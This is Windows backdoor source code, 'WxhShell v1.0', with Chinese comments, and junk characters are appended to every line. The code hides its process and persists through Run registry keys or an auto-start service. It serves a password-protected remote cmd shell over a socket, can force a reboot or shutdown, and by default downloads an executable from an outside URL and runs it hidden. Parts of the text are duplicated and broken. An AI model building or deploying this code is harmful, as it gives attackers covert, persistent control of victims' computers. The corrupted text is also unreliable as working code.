  // 关机 6Hnez@d  
  case 'd': { ?z.?(xZ 6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !`e`4y*N  
    if(Boot(SHUTDOWN)) 5!?5S$>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e6taQz@}  
    else { "B{3q`(  
    closesocket(wsh); Q'n+K5&p  
    ExitThread(0); 23tX"e  
    } _z#" BN  
    break; 8_}t,BC  
    } oMEW5.VX  
  // 获取shell 0''p29  
  case 's': { P\MDD@  
    CmdShell(wsh); Q` &#u#  
    closesocket(wsh); "kP,v&n  
    ExitThread(0); a>OYJe  
    break;  4v`/~a  
  } xS1|t};  
  // 退出 Odo)h  
  case 'x': {  @*eY~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P gA<pfEHE  
    CloseIt(wsh); 7*PBJt\  
    break; ;y,g%uqE  
    } `TPIc  
  // 离开 U\P4ts  
  case 'q': { $rXCNew(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +KbkdY Z  
    closesocket(wsh); b,^ "-r  
    WSACleanup(); TO.b- ;  
    exit(1); R$awo/'^  
    break; i3 eF_  
        } _-C/s p^   
  } G*4I;'6  
  } c K\   
x eFx!$3  
  // 提示信息 !An?<Sv$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fM ID}S  
} zb{79Os[B  
  } A M[f  
zd[k|lj  
  return; C>Hdp_Lm  
} 2OJlE) .  
v ;\cM/&5  
// shell模块句柄  BI?, 3  
int CmdShell(SOCKET sock) G[ U5R?/  
{ R>0[w$  
STARTUPINFO si; SEM?vQ 0"}  
ZeroMemory(&si,sizeof(si)); HTYyX(ya  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X|a{Z*y;r*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q~}oU5  
PROCESS_INFORMATION ProcessInfo; Tv"T+!Z  
char cmdline[]="cmd"; UDI\o1Rbp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $_F_%m"\  
  return 0; j;`pAN('  
} 5@xR`g-  
oT\K P  
// 自身启动模式 Ga 5s9wC  
int StartFromService(void) cjL)M=pIS  
{ a_c(7bQ  
typedef struct (e'8>Pv  
{ R Th=x.  
  DWORD ExitStatus; O8 .iP+  
  DWORD PebBaseAddress; v's1 &%sM  
  DWORD AffinityMask; d'96$e o~  
  DWORD BasePriority; /''=V.-N  
  ULONG UniqueProcessId; f!kZyD7  
  ULONG InheritedFromUniqueProcessId; )l`Ks  
}   PROCESS_BASIC_INFORMATION; +A?P4}  
Bug.>ln1  
PROCNTQSIP NtQueryInformationProcess; G{[w+ObX  
k( Sda>-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e#/&A5#Ya  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; QwX81*nx  
znE1t%V  
  HANDLE             hProcess; dXxf{|gk>  
  PROCESS_BASIC_INFORMATION pbi; 5@5 *}[M  
_5rKuL  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c~tl0XU1  
  if(NULL == hInst ) return 0; ZRf9'UwS  
|Lg2;P7\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T!,5dt8L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Bg),Q8\I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^mq(j_E.  
JxinfWk  
  if (!NtQueryInformationProcess) return 0; {?:]'c  
;\w3IAa|V  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  b+a+OI D  
  if(!hProcess) return 0; k{mBG9[z  
3*I\#Z4p1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^gcB+  
bdWdvd:  
  CloseHandle(hProcess); xF{%@t  
_h<rVcl!wX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KNmU2-%l  
if(hProcess==NULL) return 0; m+XHFU  
N*36rR$^  
HMODULE hMod; _]5UuIMl  
char procName[255]; PR"x&JG@  
unsigned long cbNeeded; fof}I:vO  
Y#c439&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  +#,J`fV%  
8$~oiK%fw  
  CloseHandle(hProcess); @ovaOX  
 7V5c`:"  
if(strstr(procName,"services")) return 1; // 以服务启动 eHvUgDt  
>0@w"aKn  
  return 0; // 注册表启动 C"kfxpCi  
} 6qDt 6uB  
s/hgWW$  
// 主模块 #~'d Y\&  
int StartWxhshell(LPSTR lpCmdLine) #qVTB@d  
{ 9@CRL=  
  SOCKET wsl; 8|@) #:  
BOOL val=TRUE; jv.tg,c_6  
  int port=0; vk E]$4P[$  
  struct sockaddr_in door; i&H^xgm  
0]5X Tc3r  
  if(wscfg.ws_autoins) Install();  jfK&CA  
ifS#9N|8  
port=atoi(lpCmdLine); %JDQ[%3qY  
L|WrdT D;  
if(port<=0) port=wscfg.ws_port; GcN}I=4|  
Lx>[`QT  
  WSADATA data; +- qk\sQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ez32k[eV!  
,oH\rrglf  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $B?8\>_?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <eEIR  
  door.sin_family = AF_INET; B](R(x>L  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 33<{1Y[Q6E  
  door.sin_port = htons(port); 0p.MH~mx  
zwC ,,U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5{(4%  
closesocket(wsl); .+S%hT,v6i  
return 1; Zq&'a_  
} K 3\a~_0  
+%TgX&a  
  if(listen(wsl,2) == INVALID_SOCKET) { _'w:Sx?d7  
closesocket(wsl); ,EHLW4v  
return 1; 0?ab'vYcp  
} P<X?  
  Wxhshell(wsl); Khd A;bF  
  WSACleanup(); *g*"bi*  
pNd`fV#jX  
return 0; #C } +  
I )yaR+l  
} } O+xs3Uv  
'AK '(cZ  
// 以NT服务方式启动 ;+ C$EJw-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) aHC%:)ww:  
{ ~zfF*A  
DWORD   status = 0; %J-:%i  
  DWORD   specificError = 0xfffffff; "7EK{6&jQ  
^U,iDK_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7*{l\^ism;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o5J6Xi0+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i. )^}id  
  serviceStatus.dwWin32ExitCode     = 0; ].d%R a:{  
  serviceStatus.dwServiceSpecificExitCode = 0; 517"x@6Q  
  serviceStatus.dwCheckPoint       = 0; S-mpob)  
  serviceStatus.dwWaitHint       = 0; o]tfvGvU*  
,{G\-(\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vTFG*\Cq  
  if (hServiceStatusHandle==0) return; ##''d||u  
ZRYlm$C  
status = GetLastError(); .lj5pmD  
  if (status!=NO_ERROR) :vIJ>6lIR  
{ <w}^Z}fpk&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xO:h[  
    serviceStatus.dwCheckPoint       = 0; {,uSDI Oj$  
    serviceStatus.dwWaitHint       = 0; rb@[ Edj  
    serviceStatus.dwWin32ExitCode     = status; l'4<^q  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5cf?u3r!qJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); h0m5o V  
    return; 6 8n ;#-X  
  } T^] ]z}k  
xGr{ad.N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0kCo0{+n  
  serviceStatus.dwCheckPoint       = 0; c;/vzIJj  
  serviceStatus.dwWaitHint       = 0; VF11eZ"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :0(^^6Q\  
} 7L/LlO/  
} l+_KA  
// 处理NT服务事件,比如:启动、停止 |LJv*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @TW:6v`  
{ v&G9HiH  
switch(fdwControl) ,&3+w ~Ua  
{ %CnVK1u!  
case SERVICE_CONTROL_STOP: Ga9iPv  
  serviceStatus.dwWin32ExitCode = 0; `D=OEc  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^!exH(g  
  serviceStatus.dwCheckPoint   = 0; }~&0<8m  
  serviceStatus.dwWaitHint     = 0; [mwqCW&  
  { HfH+U&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  1H.;r(c  
  } h{o,*QL  
  return; `+(n+QS _  
case SERVICE_CONTROL_PAUSE: hj"JmF$m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; kD+#|f  
  break; Zs}h>$E5_B  
case SERVICE_CONTROL_CONTINUE: 2{WZ?H93a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vv)w@A:Vn)  
  break; &k|EG![  
case SERVICE_CONTROL_INTERROGATE: m4W (h6  
  break; m Qx1co  
}; {?^ES*5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7hx^U90K  
} F$4=7Njv  
^m D$#  
// 标准应用程序主函数 FZU1WBNL%t  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X&aQR[X  
{ yn+m,K/  
xcl;~"c *  
// 获取操作系统版本 X ]&`"Z]  
OsIsNt=GetOsVer(); n%\\1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); dHOH]x  
2vB,{/GXP  
  // 从命令行安装 4e\wC  
  if(strpbrk(lpCmdLine,"iI")) Install(); fA?Wf[`x  
4MDVR/Z7  
  // 下载执行文件 p cUccQ  
if(wscfg.ws_downexe) { /QL<>g  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cahlYv'  
  WinExec(wscfg.ws_filenam,SW_HIDE); >cjxu9Vr1K  
} m,hqq%qz  
D->E&#  
if(!OsIsNt) { fh_:ung  
// 如果时win9x,隐藏进程并且设置为注册表启动 H/[(T%]o  
HideProc(); o6 NmDv5  
StartWxhshell(lpCmdLine); N1g;e?T ':  
} %vf;qVoA~  
else hiVDN"$$  
  if(StartFromService()) 3Jd a:  
  // 以服务方式启动 E{-pkqx  
  StartServiceCtrlDispatcher(DispatchTable); l0yflFGr  
else &{WEtaXaa  
  // 普通方式启动 7 v3%dCvf  
  StartWxhshell(lpCmdLine); K4NzI9@  
J+0 ?e9  
return 0; ^cW{%R>XY  
} =$~x]  
xzMpTZQ  
|1!|SarM{B  
c\P}Z Q  
=========================================== tIBEja^l  
{hO|{vz  
ZFX}=?+  
: +^`VLIf  
WH $*\IGJL  
*x#5S.i1  
" ?OO !M  
`ALQSo~l  
#include <stdio.h> u0+<[Ia'q  
#include <string.h> 2"xhFxoD7  
#include <windows.h> T3)m{gv0`  
#include <winsock2.h> `+KLE(]vyH  
#include <winsvc.h> ?|2m0~%V=  
#include <urlmon.h> m^0*k|9+G  
9p02K@wkD  
#pragma comment (lib, "Ws2_32.lib") A1zV5-E/  
#pragma comment (lib, "urlmon.lib") -xH3}K%  
JP]4* l  
#define MAX_USER   100 // 最大客户端连接数 w+%p4VkA<r  
#define BUF_SOCK   200 // sock buffer D 5Z7?Y  
#define KEY_BUFF   255 // 输入 buffer rY6bc\?`x  
Oh`Pf;.z%  
#define REBOOT     0   // 重启 z;YX 2G/{  
#define SHUTDOWN   1   // 关机 2j>C4Ck  
u4=ulgi  
#define DEF_PORT   5000 // 监听端口 ;rCCkA6  
.b*-GWx  
#define REG_LEN     16   // 注册表键长度 JK XIxw>q  
#define SVC_LEN     80   // NT服务名长度 L(`q3>iC4.  
eBECY(QMQ  
// 从dll定义API g2r8J0v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1*@Q~f:Uk  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MhFj>t   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qP%[ nY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T5-'|+  
|>I4(''}  
// wxhshell配置信息 QmPHf*w[  
struct WSCFG { TlQ5'0&I  
  int ws_port;         // 监听端口 5bK:sht  
  char ws_passstr[REG_LEN]; // 口令 Zq}Cl'f  
  int ws_autoins;       // 安装标记, 1=yes 0=no Me,AE^pgL'  
  char ws_regname[REG_LEN]; // 注册表键名 /8(t:  
  char ws_svcname[REG_LEN]; // 服务名 IP 1{gMG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9JC8OSjJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !.{{QwZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }<P%W~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6ozBU^n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~65lDFY/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]7dal [i  
\l;H !y[  
}; D>q?My  
;}4e+`fF|  
// default Wxhshell configuration 1\,wV,  
struct WSCFG wscfg={DEF_PORT, g5&,l  
    "xuhuanlingzhe", 0jefV*3qpB  
    1, '-X913eG!  
    "Wxhshell", j7&0ckN&G  
    "Wxhshell", MdNV3:[\  
            "WxhShell Service", oxqD/fY  
    "Wrsky Windows CmdShell Service", dG]s_lb9H  
    "Please Input Your Password: ", 5HbPS%^.  
  1, Vuo 8[h>  
  "http://www.wrsky.com/wxhshell.exe", {[B`q  
  "Wxhshell.exe" iuq%Q\0@w  
    }; b{JxTT}03  
Sh5SOYLz  
// 消息定义模块 laFF/g;sRC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h|=&a0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; J 9k~cz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ! XNTk]!  
char *msg_ws_ext="\n\rExit."; 9o5_QnGE  
char *msg_ws_end="\n\rQuit."; y {1p#  
char *msg_ws_boot="\n\rReboot..."; gI~jf- w  
char *msg_ws_poff="\n\rShutdown..."; $3n@2 N`  
char *msg_ws_down="\n\rSave to "; (kI@U![u  
+4p gPv  
char *msg_ws_err="\n\rErr!"; Vt," 5c  
char *msg_ws_ok="\n\rOK!"; I:#Es.  
O/Wc@Ln  
char ExeFile[MAX_PATH]; BcTV5Wcr  
int nUser = 0; & 5YI!; q,  
HANDLE handles[MAX_USER]; al\ R(\p|  
int OsIsNt; cvf#^Cu   
S)\%.~ n  
SERVICE_STATUS       serviceStatus; ep"54o5=d  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C,m o4,Q  
9Lxj ]W2^  
// 函数声明 ]hkway  
int Install(void); FmRa]31W  
int Uninstall(void); e6?h4}[+*  
int DownloadFile(char *sURL, SOCKET wsh); 9Ic~F^  
int Boot(int flag); vN4g#,<  
void HideProc(void); s*j0uAq)up  
int GetOsVer(void); M%2 F7 FY  
int Wxhshell(SOCKET wsl); .@ElfPP(L  
void TalkWithClient(void *cs); #G ZGk?  
int CmdShell(SOCKET sock); ]LhNP}c  
int StartFromService(void); &ExYul  
int StartWxhshell(LPSTR lpCmdLine); !Q5ip'L  
`#~HCl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q[SUYb;,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); G?6[K&w  
pYs"Y;%  
// 数据结构和表定义 L$+ap~ld  
SERVICE_TABLE_ENTRY DispatchTable[] = SW%d'1ya  
{ 9WuKW***  
{wscfg.ws_svcname, NTServiceMain}, zZ=.riK  
{NULL, NULL} :xT=uE.I  
}; Ls^$E  
=2eG j'}  
// 自我安装 `cr.C|RT:  
int Install(void) S)*eAON9  
{ ^CwzA B  
  char svExeFile[MAX_PATH]; o5FBqt  
  HKEY key; obE_`u l#  
  strcpy(svExeFile,ExeFile); 93d ht  
B6b {hsO  
// 如果是win9x系统,修改注册表设为自启动 [sY>ac  
if(!OsIsNt) { n300kpv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nNFZ77lg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tXTa>Q  
  RegCloseKey(key); )LwB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Mc6?]wDB]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a{6rQ  
  RegCloseKey(key); c.PPVqx  
  return 0; L6O@q`\z  
    } n'JwT! A  
  } i-E~ZfJ  
} %!HmtpS  
else { r,x;q  
*qE[Y0Cd  
// 如果是NT以上系统,安装为系统服务 E:&ga}h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); of ^N4  
if (schSCManager!=0) ; . c]0  
{ Hdh'!|w  
  SC_HANDLE schService = CreateService P$\vD^  
  ( GIDC'  
  schSCManager, eRa1eR gP  
  wscfg.ws_svcname, '7{0k{  
  wscfg.ws_svcdisp, !R WX1Z  
  SERVICE_ALL_ACCESS, %fpcH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 56m|gZcC  
  SERVICE_AUTO_START, $vdGkz@6  
  SERVICE_ERROR_NORMAL, Z;W`deA  
  svExeFile, fmvv q1G&  
  NULL, '+ |{4-V  
  NULL, m(8t |~S  
  NULL, @fbB3  
  NULL, H0s,tTK8  
  NULL g!O(@Sqp1  
  ); m4 *Rr  
  if (schService!=0) E#T-2^nD  
  { ?zNv7Bj  
  CloseServiceHandle(schService); (+9_nAgZ,  
  CloseServiceHandle(schSCManager); HQ+:0" B  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xS,#TU;)Ol  
  strcat(svExeFile,wscfg.ws_svcname); 8_ns^6XK5p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 52>?l C  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kG+CT  
  RegCloseKey(key); c|Nv^V*2  
  return 0; d3(T=9;f2  
    } - iS\3P.  
  } mD)_quz.sk  
  CloseServiceHandle(schSCManager); oZ@_o3VG  
} Y2w 9]:J  
} M*E4:A9_M  
r$6z{Na\[  
return 1; kO\(6f2|x  
} JF_\A)<ki  
5HioxHL  
// 自我卸载 Xt/muV  
int Uninstall(void) oG5JJpLT  
{ PZR pH  
  HKEY key; 5Y)!q?#H  
fdzD6K ZI  
if(!OsIsNt) { >=i47-H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v. ,C"^W  
  RegDeleteValue(key,wscfg.ws_regname); {JzX`Z30l  
  RegCloseKey(key); .)B_~tct  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yU*j{>%RsK  
  RegDeleteValue(key,wscfg.ws_regname); lyx p:  
  RegCloseKey(key); lvb0dOmY  
  return 0; V D.p"F(]  
  } !w98 [BE7  
} +tOBt("5/  
} >GgX-SZ%  
else { r 06}@7  
X1i6CEa<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :*6tbUp  
if (schSCManager!=0) l<{]%=Qg  
{ ^C@uP9g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L$@^EENS  
  if (schService!=0) 6$b"tdP  
  { p(~>u'c  
  if(DeleteService(schService)!=0) { +8Zt<snG  
  CloseServiceHandle(schService); q=}Lm;r  
  CloseServiceHandle(schSCManager); :j vx-jQ  
  return 0; ?ae:9ZcH  
  } ZQnJTS+Rd  
  CloseServiceHandle(schService); 2anx]QV4  
  } V4 Pf?g  
  CloseServiceHandle(schSCManager); xK0VWi  
} rFn;z}J2  
} gV!Eotq  
mhp5}  
return 1; <0R7uH  
} ?'$=G4y&?  
E[6JHBE*r  
// 从指定url下载文件 /%rbXrR4w  
int DownloadFile(char *sURL, SOCKET wsh) dt) BMF8  
{ -(qoz8H5  
  HRESULT hr; b2H!{a"  
char seps[]= "/"; 0;3;Rs  
char *token; Y+V*$73`  
char *file; <2ffcBv  
char myURL[MAX_PATH]; lyIstfRh15  
char myFILE[MAX_PATH]; _$wWKJy9  
Nj.(iBmr  
strcpy(myURL,sURL); &m4 \"X@  
  token=strtok(myURL,seps); 23y7l=.b/  
  while(token!=NULL) djPr 4Nog  
  { v (=fV/  
    file=token; rc*&K#? B  
  token=strtok(NULL,seps); M`KrB5a+6  
  } ()(@Qcc  
C 1|e1  
GetCurrentDirectory(MAX_PATH,myFILE); _1dG!!L_  
strcat(myFILE, "\\"); Yiu)0\ o  
strcat(myFILE, file); Q9 kKk  
  send(wsh,myFILE,strlen(myFILE),0); 1B6Go  
send(wsh,"...",3,0); +fAAkO*GP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); . %tc7`k8  
  if(hr==S_OK) u-pE ;|  
return 0; A86#7  
else |>A1J:  
return 1; u$&7fmZ  
aAwnkQ$  
} :I F&W=?9  
1 xiq]~H  
// 系统电源模块 I\Y/*u  
int Boot(int flag) sG0cN;I]t  
{ *A GC[w}/  
  HANDLE hToken; H4KwbTT"+  
  TOKEN_PRIVILEGES tkp; E[nWB"pxE  
=9YyUAJZ  
  if(OsIsNt) { lV`y6{o#T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !o:RIwS3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 68Wm=j.m  
    tkp.PrivilegeCount = 1; 6H VS0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W8yr06{]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2[9hl@=%  
if(flag==REBOOT) { (~}yt.7K  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 20 zIO.&o  
  return 0; B HoZ}1_  
} %9-).k  
else { RX=C)q2c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z mrk`o~  
  return 0; mmTc.x h  
} &]pW##  
  } TxN#3m?G  
  else { A:p7\Kp;5}  
if(flag==REBOOT) { 5^GUuFt5m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H=Yl @  
  return 0; 5$GE3IER8  
} }/(fe`7:  
else { ?*4&Z.~J  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) YqR MVWcnk  
  return 0; }3lM+]pf  
} m {_\@'q  
} vay_QxB5  
(IIOKx_  
return 1; d|j3E  
} 26 o68U8&y  
` B : Ydf  
// win9x进程隐藏模块 g?^o++  
void HideProc(void) HP. j.  
{ 6;I&{9  
pL.r 9T.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S<88>|&n]  
  if ( hKernel != NULL ) Nypa,_9}  
  { f*1.Vg0`-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2ztP'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bzk@6jR1  
    FreeLibrary(hKernel); 1xL2f&bG  
  } bH3-#mw5w  
?%;7k'0"  
return; %Ni)^   
} i?qS8h{  
9d#-;qV  
// 获取操作系统版本 Gow_a'  
int GetOsVer(void) *vCJTz  
{ E:&=A 4 %  
  OSVERSIONINFO winfo; .FqbX5\p,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); iW-w?!>|m  
  GetVersionEx(&winfo); 2[r#y1ro  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k U*\Fa*E  
  return 1; d=xU f`^  
  else 8!b#ez   
  return 0; 8g(%6 ET  
} d01bt$8>  
4@/[aFH  
// 客户端句柄模块 t$]lK6  
int Wxhshell(SOCKET wsl) |M)'@s:  
{ BtVuI5*h  
  SOCKET wsh; 5mnIQ~psR  
  struct sockaddr_in client; nI|jUD +y  
  DWORD myID; ]hS4'9lD  
?bmP<(N5/  
  while(nUser<MAX_USER) T.`EDluG  
{ .N5}JUj  
  int nSize=sizeof(client); 5``/exG>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,Tvk&<!0  
  if(wsh==INVALID_SOCKET) return 1; Dx4?6  
*-3K],^a  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }/SbmW8(1  
if(handles[nUser]==0) qg'RD]a>R  
  closesocket(wsh); ~>k<I:BtrT  
else 9,`WQ+OI  
  nUser++; %%G2w6 3M  
  } A%k@75V@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l<(MC R*  
3RXq/E  
  return 0; 8}XtVF;  
} g9<*+fV 2$  
U $# ?Lw  
// 关闭 socket TlQ#0_as[  
void CloseIt(SOCKET wsh) Xb?P'nD  
{ Cc$!TZq=  
closesocket(wsh); {tOu+zy  
nUser--; R',Q)<  
ExitThread(0); ,=Xr'7w,  
} *6df|q  
O:{I9V-=>s  
// 客户端请求句柄 k_ UY^vz.  
void TalkWithClient(void *cs) Ra%RcUf~sh  
{ [ZZ~^U5  
(5cc{zKtR  
  SOCKET wsh=(SOCKET)cs; pBL,kqYNA>  
  char pwd[SVC_LEN]; vYKKv%LE  
  char cmd[KEY_BUFF]; i,8h B(M!  
char chr[1]; CJz2.yd  
int i,j; /[q6"R!uMz  
/$|C s  
  while (nUser < MAX_USER) { FF0N{bY  
z4HIDb  
if(wscfg.ws_passstr) { ,5mK_iUw3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "n^h'// mn  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &-:ZM0Fl  
  //ZeroMemory(pwd,KEY_BUFF); WUvrC  
      i=0; Mi%i_T^i  
  while(i<SVC_LEN) { COH0aNp;  
A0m  
  // 设置超时 :"5i/Cx  
  fd_set FdRead; ONH!ms(kb  
  struct timeval TimeOut; AME3hA  
  FD_ZERO(&FdRead); )^qM%k8  
  FD_SET(wsh,&FdRead); 3=RVJb  
  TimeOut.tv_sec=8; |F=!0Id<  
  TimeOut.tv_usec=0; YiJnh47  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ({v$!AAv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^ |z|kc  
B5GT^DaT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JF!JY( U,  
  pwd=chr[0]; yS^";$2Tc  
  if(chr[0]==0xd || chr[0]==0xa) { mKugb_d?  
  pwd=0; b|^g51v  
  break; R9A8)dDz  
  } ]i(tou-[i  
  i++; (dd+wx't  
    } v8Vw.Ce`f  
;PCnEs  
  // 如果是非法用户,关闭 socket NoTEbFrV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4zkn~oy  
} _PLY<i2vr  
{_&'tXL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ea kj>7\s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )r3}9J  
J3fk3d`2  
while(1) { = NHuj.  
)_k"_VVcC  
  ZeroMemory(cmd,KEY_BUFF); IppzQ0'=y1  
Ls< ";QJc  
      // 自动支持客户端 telnet标准   /2N'SOX  
  j=0; G0oY`WXOB  
  while(j<KEY_BUFF) { ~b}a|K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0{^@kxV  
  cmd[j]=chr[0]; |5oK04<  
  if(chr[0]==0xa || chr[0]==0xd) { GqMa|8j  
  cmd[j]=0; @}eEV[Lli  
  break; +;^Ux W  
  } xP#vAR  
  j++; m5m}RWZ#  
    } B>Tfyo  
:)o 4fOJ8  
  // 下载文件 O=~8+sa  
  if(strstr(cmd,"http://")) { ZKy)F-yX  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Cuu yG8  
  if(DownloadFile(cmd,wsh)) d` %8qLIW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1/X@~  
  else r<VZE bm)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kW#,o9f\  
